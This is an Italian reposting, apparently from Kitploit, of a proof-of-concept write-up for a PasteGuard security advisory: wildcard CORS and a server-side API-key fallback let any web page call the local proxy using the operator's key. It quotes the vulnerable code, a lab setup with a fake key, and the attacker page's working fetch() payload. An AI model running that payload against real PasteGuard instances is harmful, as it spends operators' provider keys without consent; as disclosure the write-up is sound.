pasteguard-PoC — PoC — abuso del proxy cross-origin delle chiavi API del provider configurate in PasteGuard (GHSA-q94x-p9rc-q89f, CVE-2026-86998, CVSS 7.6). | Kitploit

src/index.ts:40-45 — const corsMiddleware = cors(); (il cors() di Hono senza opzioni usa come default Access-Control-Allow-Origin: *) viene applicato tramite app.use("*", ...) a tutto, con un'esclusione esplicita solo per /dashboard e /dashboard/*. Il commento immediatamente sopra (src/index.ts:34-39) mostra che l'autore ha ragionato attentamente sull'esposizione CORS della dashboard ma non ha esteso lo stesso ragionamento alle route del proxy sottostanti.
src/config.ts:153 — host: z.string().default("0.0.0.0"), confermato attivo in config.example.yaml:13. Il proxy ascolta su tutte le interfacce per default, non solo su loopback, quindi è raggiungibile anche dalla LAN, non solo dal browser dell'operatore stesso.
src/providers/openai/client.ts:48-53:
```
// Use client's auth header if provided, otherwise fall back to config
if (authHeader) {
  headers.Authorization = authHeader;
} else if (config.api_key) {
  headers.Authorization = `Bearer ${config.api_key}`;
}
```
Se la richiesta in ingresso non porta alcun header Authorization, PasteGuard allega silenziosamente la propria providers.openai.api_key detenuta lato server alla richiesta in uscita. config.example.yaml:22-24 documenta questo come una funzionalità di comodità intenzionale ("Optional fallback if client doesn't send auth header") per il caso d'uso "Apps & APIs".
src/providers/anthropic/client.ts:37-61 implementa lo schema di fallback identico per /anthropic/v1/messages (fallback di x-api-key/Authorization a config.api_key) — confermato come istanza gemella della stessa causa radice, non riverificato indipendentemente end-to-end (vedi lo scope del PoC sotto).

Configurato config.yaml con providers.openai.base_url: http://127.0.0.1:9091 (upstream mock) e providers.openai.api_key: "sk-VICTIM-SECRET-DO-NOT-LEAK-12345", pii_detection.enabled: false (solo detector mockato /health, per evitare di dover avere il servizio completo del modello GLiNER), secrets_detection.enabled: false. Avviato PasteGuard con bun run src/index.ts, confermato /health → 200.
Avviato un upstream mock (mock_upstream.py) su 127.0.0.1:9091 che registra qualsiasi header Authorization riceva.

Servita una vera pagina dell'attaccante da un'origine genuinamente distinta, http://127.0.0.2:8001/attack.html (IP loopback letterale diverso, secondo le regole di site-isolation di Chrome — non un test same-origin su localhost), tramite python3 -m http.server 8001 --bind 127.0.0.2. L'unica azione della pagina al caricamento:

fetch("http://127.0.0.1:3000/openai/v1/chat/completions", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ model: "gpt-4o-mini", messages: [{ role: "user", content: "cross-origin drive-by call, attacker supplied NO api key" }] })
}).then(r => r.json()).then(data => { /* render on page */ });

Guidata un'istanza reale di Chrome (Chrome DevTools Protocol) verso http://127.0.0.2:8001/attack.html. Confermato tramite l'ispezione di rete di DevTools:
- Richiesta: origin: http://127.0.0.2:8001, sec-fetch-site: cross-site, nessun header Authorization inviato dalla pagina dell'attaccante.
- Risposta: access-control-allow-origin: *, HTTP 200, corpo JSON completamente leggibile dal JS della pagina dell'attaccante.
- Pagina renderizzata: "CROSS-ORIGIN READ SUCCEEDED. Response body visible to attacker JS: ..." — screenshot: ../evidence/cross_origin_csrf_success.png.
- Log dell'upstream mock per quella esatta richiesta: RECEIVED AUTH HEADER: Bearer sk-VICTIM-SECRET-DO-NOT-LEAK-12345 — prova che PasteGuard ha allegato lato server la chiave reale configurata dall'operatore, senza che la pagina dell'attaccante la conoscesse o la fornisse mai.

Ricercatore	Dostxodjayev Abdullox (@squeeze440)
Advisory	GHSA-q94x-p9rc-q89f
CVSS 3.1	7.6 (High)
Debolezza	CWE-352, CWE-942

pasteguard-PoC

Più Popolari

PasteGuard: security advisory